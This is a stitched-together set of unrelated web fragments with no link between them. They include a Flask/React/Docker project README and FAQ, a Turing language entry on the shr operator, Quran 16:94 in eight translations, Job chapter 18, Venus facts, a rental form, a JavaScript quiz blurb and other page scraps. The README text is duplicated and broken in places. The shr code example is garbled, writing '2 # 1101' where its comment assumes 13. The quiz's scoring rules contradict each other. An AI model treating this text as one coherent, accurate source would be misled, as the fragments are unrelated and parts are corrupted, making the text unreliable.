- A: The code has been made easily extensible and hence when a field is added to the patient it is parsed by our code and added to the patient object's dictionary.
- Add more stats
- A: In
statistic.py
you have the ability to add more stats based on the info of the application
- A: In
- Add a new route for the app
- In
main.py
define a new route following the classical flask definition methods
- In
- Add more rule types
- To add another rule option to the current list of resource or node rules, add another case to the _create_rules function in the NodeRuleCreator or ResourceRuleCreator class. These classes can be found in rule_creator_factory.py.
- To add a rule type that does not apply to resources or nodes, add another case to the create_queues function in the RuleCreatorFactory class. The canvas JSON structure and create_queues function in run.py will also have to be modified to call create_rules using the new RuleCreator class.
Frontend
- Add a button
- A: In
Navbar.js
define a button using standard convention in the render method, you can create styling for it inNavbar.css
. To update the state of the application you have to create your own action in redux as well a method inreducers.js
to execute your update.
- A: In
- Change the graph
- In the folder react-d3-graph you have access to the node structure and change the rendering and layout/styling of nodes.
- In
Main.js
there is a graph config object and also a function to map redux's graph model to react-d3-graph's graph model. - For more detailed information on the original package, visit https://goodguydaniel.com/react-d3-graph/docs/index.html
- Change styling of components
- Every react component has its own css file. To change the graph, see the previous subsection.
- Change styling for core components (not sure what to call it )
Devops
- Change ports
- A; in the root directory of the app there is a
.env
which you can modify to update the ports
- A; in the root directory of the app there is a
- Change build settings
- A: Depending on if your using production or develop there are two serpate docker compose files in the root level of the app, which can be edited, further there are individual docker files for the frontend and backend which can be further changed
- Add a new requirement in the backed
- A: Simply add the package you want to the requirements.txt file in the backend folder, and then run either
./run_dev.sh
or./run_prod.sh
depending on your preference to rebuild with the new requirement
- A: Simply add the package you want to the requirements.txt file in the backend folder, and then run either
- Script Usage
A: To run in development, run
./run_dev.sh
. To run in production, run./run_prod.sh
. You can add the build command to either script (i.e./run_dev.sh build
) to force docker to rebuild the image as caching is an issue sometimes. Both scripts then transfer all variables in .env to the frontend and backend folders. The frontend variables can't be directly copied as React is only able to automatically read environment variables beginning with REACT_APP_. Thus, all variables have REACT_APP_ appended as a prefix. The script then stops existing containers and finally starts new ones (it may rebuild the image if you add the build command).
FAQ
- Q: When I add an npm package, I get an error saying that it can't be resolved even though I ran
npm install
- A: stop the docker image you currenly have running by pressing command + c in your terminal
Then run
./run_dev.sh build
- A: stop the docker image you currenly have running by pressing command + c in your terminal
Then run
- Q: Whenver docker runs, it takes up a lot of space on my computer, is there a way I can remove all images.
- A: run
docker system prune
to remove all docker images
- A: run
- Q: How does docker work, is this is sometype of witchcraft?
- A: Yes....
- Q: Why does take so long to run
- A: The docker image is building both the frontend and backend
requirements hence it had to install several packages hence it takes a larger amount of time. If you already built the image ie ran
./run_dev.sh` build
then run./run_dev.sh`
- A: The docker image is building both the frontend and backend
requirements hence it had to install several packages hence it takes a larger amount of time. If you already built the image ie ran
- Q: Why must there be at least 1 node at all times?
- A: This is a limitation of react-d3-graph.
- Q: Should I use the index or the id to identify a node?
- A: Use the id, indices are subject to change on deleting/adding nodes.
- Q: Why can't I access the variable I added to the .env file on the frontend?
- A: Make sure you're calling it with REACT_APP_ appended as a prefix. So if you called it
test_var
, make sure to callREACT_APP_test_var
.
- A: Make sure you're calling it with REACT_APP_ appended as a prefix. So if you called it


shr
Syntax
A shr B
Description
The shr (shift right) operator produces the value of A shifted B bits to the right. Both A and B must be non-negative integers (natural numbers).
Example
Assign the base 2 value 1101 to i and then shift it right by 2 places and assign the resulting base 2 value 11 to j.
var i, j : int
i := 2 # 1101 % 2#1101 = 13 (base 10)
j := i shr 2 % j becomes 2#11 = 3 (base 10)
Details
The shr operator is defined mathematically (in a machine- independent way) as follows: A shr B = A div 2**B.
Value A can be of any integer type (as long as it is non-negative) or any natural number type.
The shr operator has the same precedence as the * operator.
See also
shl (shift left), or, and and xor, which also are bit manipulation operators that act on non-negative values. See also explicitIntegerConstant which describes values such as 2#1101.


MythTV Live TV
{{channelsFiltered.length}} channels
Refresh
Channel
number
Call
sign
Channel
Name
Title
Subtitle
{{channel.ChanNum}}
{{channel.CallSign}}
{{channel.ChannelName}}
{{channel.Programs[0].Title}}
{{channel.Programs[0].SubTitle}}


| 016:094 Khan | : |
And make not your oaths, a means of deception among yourselves, lest a foot may slip after being firmly planted, and you may have to taste the evil (punishment in this world) of having hindered (men) from the Path of Allah (i.e. Belief in the Oneness of Allah and His Messenger, Muhammad SAW), and yours will be a great torment (i.e. the Fire of Hell in the Hereafter). |
| 016:094 Maulana | : |
And make not your oaths a means of deceit between you, lest a foot should slip after its stability, and you should taste evil because you hinder (men) from Allah's way and grievous chastisement be your (lot). |
| 016:094 Pickthal | : |
Make not your oaths a deceit between you, lest a foot should slip after being firmly planted and ye should taste evil forasmuch as ye debarred (men) from the way of Allah, and yours should be an awful doom. |
| 016:094 Rashad | : |
Do not abuse the oaths among you, lest you slide back after having a strong foothold, then you incur misery. Such is the consequence of repelling from the path of GOD (by setting a bad example); you incur a terrible retribution. |
| 016:094 Sarwar | : |
Do not consider your oaths as a means of deceit lest you damage the firmness of your faith, suffer from evil by creating obstacles in the way that leads to God, and incur a great torment upon yourselves. |
| 016:094 Shakir | : |
And do not make your oaths a means of deceit between you, lest a foot should slip after its stability and you should taste evil because you turned away from Allah's way and grievous punishment be your (lot). |
| 016:094 Sherali | : |
And make not your oaths a means of deceit between you; or you foot will slip after it has been firmly established and you will taste evil because by acting thus you have turned people away from the path of ALLAH, and you will have a severe punishment. |
| 016:094 Yusufali | : |
And take not your oaths, to practise deception between yourselves, with the result that someone's foot may slip after it was firmly planted, and ye may have to taste the evil (consequences) of having hindered (men) from the Path of Allah, and a Mighty Wrath descend on you. |
Concepts/Themes Covered: الجهاد > (تعليمات حربية (أحكام خاصة > (تعليمات حربية (أحكام خاصة > نظام الجهاد وقانونه Jihad> Warlike Instructions\Special Rules> Warlike Instructions\Special Rules> The System of the Holy War and its Law الإنسان والعلاقات الأخلاقية > الأخلاق الحميدة > الوفاء بالعهد Man and The Moral Relations> Good Morals>Keeping Promise الإنسان والعلاقات الأخلاقية > الأخلاق الذميمة > الخيانة Man and The Moral Relations>The Dispraised Morals>Betrayal العلاقات القضائية > أحكام قانونية > أحكام عامة > الوفاء بالعهد و العقد و اليمين Judicial Relationships>Legal Rules>General Rules> The Commitment to the Promise, Contract, and Oath
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


mohammad kabbara
I am 24 years old I graguated from LTUC with major Electrical Electronics Engineering and I am learning programmind at ASAC (Programeer to be ..)
My top 10 club I Love It
My Education
mohammad kabbara
I am 24 years old I graguated from LTUC with major Electrical Electronics Engineering and I am learning programmind at ASAC (Programeer to be ..)
My top 10 club I Love It
My Education


Where is your property located?
What type of property is it?
Will you be renting your entire property, a private room, or shared room?
How many people will you accommodate?
Number of Bathrooms
Number of Bedrooms
Number of Beds
Beds Type


18
1 Then Bildad the Shuhite answered and said,
2 "When will you stop your talk?
Consider, and afterwards we will speak.
3 Why are we regarded as beasts;
why have we become stupid in your sight?
4 You who tear at yourself in your anger,
should the earth be forsaken for you
or should the rocks be removed out of their places?
5 Indeed, the light of the wicked person will be put out;
the spark of his fire will not shine.
6 The light will be dark in his tent;
his lamp above him will be put out.
7 The steps of his strength will be made short;
his own plans will cast him down.
8 For he will be thrown into a net by his own feet;
he will walk into a pitfall.
9 A trap will take him by the heel;
a snare will lay hold on him.
10 A noose is hidden for him on the ground;
and a trap for him in the way.
11 Terrors will make him afraid on every side;
they will chase him at his heels.
12 His wealth will turn into hunger,
and calamity will be ready at his side.
13 The parts of his body will be devoured;
indeed, the firstborn of death will devour his parts.
14 He will be torn out of his tent, his home in which he now trusts;
he will be brought to death, the king of terrors.
15 People not his own will live in his tent
after they see that sulfur is scattered within his home.
16 His roots will be dried up beneath;
above will his branch be cut off.
17 His memory will perish from the earth;
he will have no name in the street.
18 He will be driven from light into darkness
and be chased out of this world.
19 He will have no son or son's son among his people,
nor any remaining kinfolk where he had stayed.
20 Those who live in the west will be horrified at what happens to him one day;
those who live in the east will be frightened by it.
21 Surely such are the homes of unrighteous people,
the places of those who do not know God."


This plugin will create a folder for temporary files in your workspace.
The default directory is /YourWorkspace/qftestJenkinsReports/, but it can be changed here.
In case the name is changed, the paths of the post-build actions also have to be adapted accordingly.


Venus
The second planet from the sun,
Venus is terribly hot, even hotter than Mercury.
The atmosphere is toxic.

Scientists describe Venus’
situation as a runaway greenhouse effect.
Its size and structure
are similar to Earth,
Venus' thick, toxic atmosphere traps heat in a runaway "greenhouse effect.
" Oddly, Venus spins slowly in the
opposite direction of most planets.
The Greeks believed Venus was two different
objects — one in the morning sky and
another in the evening.
Because it is often brighter
than any other object in the
sky — except for the sun
and moon — Venus has generated
many UFO reports.
Diameter: 7,521 miles (12,104 km)
Orbit: 225 Earth days
Day: 241 Earth days


Answer the following questions just to see how much you know, or don't, about JavaScript. You will get 200 points, for every wrong question you will be deducted 30 points, and 1 point for every second passed. you will gain 10 points for every write answer. Good luck!!


MORDAZA
Collective Cynicism
perm_identity
Anonymous
Misc.
for Miscellaneous Content
Navigator
Trending Channels
Misc.
Trending Posts
Hi, my name is Barack Obama. IAMA
Bookmarks
When I was A Young Boy
Look at my cat!
He jeezed hard that she screamed
That's what you said the last time
FOR YOU!
Oct 24, 2016.
More
|
4.2m
55
|
SHARE
|
#1445
|
By
pepper
View Comments(14,234)


--- title: /home/ayonga/.dropboxes/business/Dropbox/research/dzopt/frost/matlab/nlp/@NonlinearProgram Directory Reference layout: doxygen comments: false sidebar: doxygen_sidebar topnav: topnav tags: false ---
Files | |
| file | compileConstraint.m |
| file | compileObjective.m |
| file | getInitialGuess.m |
| file | getVarInfo.m |
| file | NonlinearProgram.m |
| file | regConstraint.m |
| file | regObjective.m |
| file | regVariable.m |
| file | setOption.m |
| file | update.m |